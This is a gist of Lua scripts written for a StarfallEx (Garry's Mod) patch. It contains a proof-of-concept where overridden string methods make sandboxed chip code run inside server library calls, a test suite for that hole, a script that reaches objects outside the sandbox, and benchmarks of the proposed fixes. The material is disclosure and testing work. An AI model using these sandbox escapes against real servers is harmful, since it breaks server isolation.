Skip to content

Instantly share code, notes, and snippets.

@x4fx77x4f
Last active May 12, 2021 23:28
Show Gist options
  • Save x4fx77x4f/248abe418dad7715d50b974e10de8627 to your computer and use it in GitHub Desktop.
Save x4fx77x4f/248abe418dad7715d50b974e10de8627 to your computer and use it in GitHub Desktop.
Scripts relating to my string method PR for StarfallEx
-- https://lua-users.org/wiki/MetatableEvents
local metatable = {
__index = true,
__newindex = true,
--__mode = true,
__call = true,
--__metatable = true,
--__tostring = true,
__len = true, -- Lua 5.2+
__pairs = true, -- Lua 5.2+
__ipairs = true, -- Lua 5.2+
--__gc = true,
--__name = true,
--__close = true, -- Lua 5.4+
__unm = true,
__add = true,
__sub = true,
__mul = true,
__div = true,
--__idiv = true, -- Lua 5.3
__mod = true,
__pow = true,
__concat = true,
--__band = true, -- Lua 5.3
--__bor = true, -- Lua 5.3
--__bxor = true, -- Lua 5.3
--__bnot = true, -- Lua 5.3
--__shl = true, -- Lua 5.3
--__shr = true, -- Lua 5.3
__eq = true,
__lt = true,
__le = true
}
for k in pairs(metatable) do
local function v(...)
print(k, ...)
end
metatable[k] = v
end
setmetatable(string, metatable)
local temp
local str = ''
temp = str.index -- __index
pcall(function() str.newindex = true end) -- __newindex
pcall(str) -- __call
--tostring(str) -- __tostring
temp = #str -- __len
pcall(pairs, str) -- __pairs
pcall(ipairs, str) -- __ipairs
pcall(function() temp = -str end) -- __unm
pcall(function() temp = str+str end) -- __add
pcall(function() temp = str-str end) -- __sub
pcall(function() temp = str*str end) -- __mul
pcall(function() temp = str/str end) -- __div
pcall(function() temp = str%str end) -- __mod
pcall(function() temp = str^str end) -- __pow
pcall(function() temp = str..str end) -- __concat
pcall(function() temp = str==str end) -- __eq
pcall(function() temp = str<str end) -- __lt
pcall(function() temp = str<=str end) -- __le
--@server
-- This isn't a great example, but you get the point.
function string.unfuck(str)
str = str
:gsub('//', '--')
:gsub('/%*', '--[[')
:gsub('%*/', ']]')
:gsub('&&', ' and ')
:gsub('||', ' or ')
--:gsub('!', ' not ')
return str
end
print(("/* gluaisms suck!! */"):unfuck())
--@server
--@ enhancedmethods
-- ^ check both with and without
-- set up payload
local success = false
local function payload(desc, ...)
success = true
local args = {...}
for k, v in pairs(args) do
args[k] = tostring(v)
end
print(desc..table.concat(args, '\t'))
end
-- set up exploit
local function enthrall(func, desc)
desc = desc..": "
return function(...)
payload(desc, ...)
return func(...)
end
end
for k, v in pairs(string) do
string[k] = enthrall(v, k)
end
-- trigger exploit
wire.adjustInputs({"POC_9e28943"}, {'string'})
-- check for success
print(success and "EXPLOIT SUCCESS" or "exploit failed")
--@shared
local prefix = SERVER and "SERVER" or CLIENT and "CLIENT" or jit and "LuaJIT" or "Lua"
-- [[
-- This disables numerical string indexes.
-- This metatable is also protected. My patch uses
-- debug.getmetatable, so it should not be affected
-- by the protected metatable.
setmetatable(string, {
__metatable = "FAIL"
})
--]]
print(prefix, ("abc"):sub(1, 1)) -- should be "a"
print(prefix, ("abc")[2]) -- should be nil
print(prefix, pcall(function() return ("abc").nonexistent end)) -- should be true, nil
string.existent = "PASS"
print(prefix, pcall(function() return ("abc").existent end)) -- should be true, "PASS"
print(prefix, string.error) -- should be nil
string = nil -- won't affect string methods before or after
print(prefix, ("abc"):sub(3, 3)) -- should be "c"
--@name String method exploit test suite
--@shared
local testing
local ran, ranEver = false, false
local format = string.format
local function payload(desc)
ran = true
ranEver = true
print(format("%q indexed %q", testing or "[UNKNOWN]", desc))
end
local explode = string.explode
local function test(k, ...)
if not k then
return
end
testing = k
k = explode('[.:]', k, true)
local v = _G
for _, k in ipairs(k) do
v = v[k]
if not v then
return
end
end
local success, err = pcall(v, ...)
if not ran then
if not success then
err = type(err) == 'table' and err.message or err
print(format("%q failed with %q", testing, err))
else
print(format("%q failed", testing))
end
end
testing = nil
ran = false
end
local haven = {}
for k, v in pairs(string) do
haven[k] = v
string[k] = nil
end
setmetatable(haven, getmetatable(string))
setmetatable(string, {
__index = function(self, k)
payload(k)
return haven[k]
end
})
print("## Testing")
local holo = CLIENT and holograms.create(Vector(), Angle(), 'models/error.mdl')
pcall(holo and holo.setNoDraw, holo, true)
local mat = CLIENT and material.create('UnlitGeneric')
Entity = getMethods('Entity')
Hologram = getMethods('Hologram')
Material = getMethods('Material')
test('Entity:setMaterial', chip(), 'foo') -- SF.CheckMaterial -> string.StripExtension -> :sub
test('Entity:setSubMaterial', chip(), 0, 'foo') -- SF.CheckMaterial -> string.StripExtension -> :sub
test(CLIENT and 'Hologram:setModel', holo, 'foo') -- string.GetExtensionFromFilename -> :match
test('bass.loadFile', 'foo', '', function() end) -- :match
test('dofile', 'foo') -- string.GetPathFromFilename -> :match
test('file.existsTemp', 'foo') -- checkExtension -> string.GetExtensionFromFilename -> :match, string.GetFileFromFilename -> :find, string.GetFileFromFilename -> :match
test('file.readTemp', 'foo', '') -- checkExtension -> string.GetExtensionFromFilename -> :match, string.GetFileFromFilename -> :find, string.GetFileFromFilename -> :match
test('file.write', 'foo', '') -- checkExtension -> string.GetExtensionFromFilename -> :match
test('file.writeTemp', 'foo', '') -- checkExtension -> string.GetExtensionFromFilename -> :match, string.GetFileFromFilename -> :find, string.GetFileFromFilename -> :match
test(CLIENT and 'holograms.create', nil, nil, 'foo') -- string.GetExtensionFromFilename -> :match
test('input.lookupBinding', '+forward') -- :upper
test('material.createFromImage', 'foo', '') -- string.GetExtensionFromFilename -> :match
test('material.load', 'foo') -- string.GetExtensionFromFilename -> :match, SF.CheckMaterial -> string.StripExtension -> :sub
test('render.createMaterial', 'foo') -- :find
test('require', 'foo') -- string.GetPathFromFilename -> :match
test('requiredir', 'foo') -- string.GetPathFromFilename -> :match
test('sounds.create', chip(), 'foo') -- :match
test('sql.SQLStr', 'foo', false) -- sql.SQLStr -> :gsub
test('wire.adjustInputs', {'Foo'}, {'string'}) -- :upper, :match
test('wire.adjustOutputs', {'Foo'}, {'string'}) -- :upper, :match
print("## Conclusion: "..(ranEver and "FAILED" or "passed"))
--@name superuser chaos
--@server
--@superuser
-- We can't obtain the global 'string' table, but we
-- can make a copy of everything in it by abusing
-- faulty string methods.
local extClone_string = {
Comma = true,
EndsWith = true,
Explode = true,
FormattedTime = true,
FromColor = true,
GetChar = true,
GetExtensionFromFilename = true,
GetFileFromFilename = true,
GetNormalizedFilepath = true,
GetPathFromFilename = true,
Implode = true,
JavascriptSafe = true,
Left = true,
NiceSize = true,
NiceTime = true,
PatternSafe = true,
Replace = true,
Right = true,
SetChar = true,
Split = true,
StartWith = true,
StripExtension = true,
ToColor = true,
ToMinutesSeconds = true,
ToMinutesSecondsMilliseconds = true,
ToTable = true,
Trim = true,
TrimLeft = true,
TrimRight = true,
byte = true,
char = true,
dump = true,
find = true,
format = true,
gfind = true,
gmatch = true,
gsub = true,
len = true,
lower = true,
match = true,
rep = true,
reverse = true,
sub = true,
upper = true
}
for k in pairs(extClone_string) do
extClone_string[k] = ('')[k]
end
-- Thanks to string.ToColor, we can then obtain an
-- external Color object.
local extObj_Color = extClone_string.ToColor('0 0 0 0')
-- And since the Color metatable is not protected, we can
-- just grab it like this.
local extMeta_Color = getmetatable(extObj_Color)
-- What can we do with this? Potentially a lot... but
-- since only superadmins can spawn superuser chips,
-- probably nothing they couldn't do already.
-- We could bypass the string.rep limits, but we can
-- already freeze the server/client -- we run with no
-- quota after all.
--[[
local str = 'a'
while true do
str = string.rep(str, 99999)
end
--]]
local env = {
SF = {}
}
-- cache
local _G = env
local getfenv = getfenv
local SF = env.SF
-- common
local function myMetaFunc(...) end
local function v(...) end
-- original
local function commit_b81ce0b(...)
if SF.runningOps then return myMetaFunc(...) else return v(...) end
end
-- proposed (original)
local function commit_1af9602(...)
local instance = SF.runningOps
if instance and instance.whitelistedEnvs[getfenv(3)] then
return myMetaFunc(...)
else
return v(...)
end
end
-- proposed (simplified)
local function commit_xxxxxx0(...)
if getfenv(3) ~= _G then
return myMetaFunc(...)
else
return v(...)
end
end
-- proposed (hybrid)
local function commit_xxxxxx1(...)
if SF.runningOps and getfenv(3) ~= _G then
return myMetaFunc(...)
else
return v(...)
end
end
local SysTime = SysTime
local function benchmark(func, iterations, desc, ...)
setfenv(func, env)
local startTime = SysTime()
for i=1, iterations do
func(...)
end
local endTime = SysTime()
local totalTime = endTime-startTime
local avgTime = totalTime/iterations
print(string.format("Completed in %f seconds (%f seconds average) \t%q", totalTime, avgTime, desc or "nil"))
end
local iterations = 10000000
local args = {"/* gluaisms suck!!! */", 'gsub', '/*', '--[['}
print("Simulating no active chip")
benchmark(commit_b81ce0b, iterations, "original", unpack(args))
benchmark(commit_1af9602, iterations, "proposed (original)", unpack(args))
benchmark(commit_xxxxxx0, iterations, "proposed (simplified)", unpack(args))
benchmark(commit_xxxxxx1, iterations, "proposed (hybrid)", unpack(args))
print("Simulating an active chip")
env.SF.runningOps = {
whitelistedEnvs = setmetatable({
[{}] = true
}, {__mode = 'k'})
}
benchmark(commit_b81ce0b, iterations, "original", unpack(args))
benchmark(commit_1af9602, iterations, "proposed (original)", unpack(args))
benchmark(commit_xxxxxx0, iterations, "proposed (simplified)", unpack(args))
benchmark(commit_xxxxxx1, iterations, "proposed (hybrid)", unpack(args))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment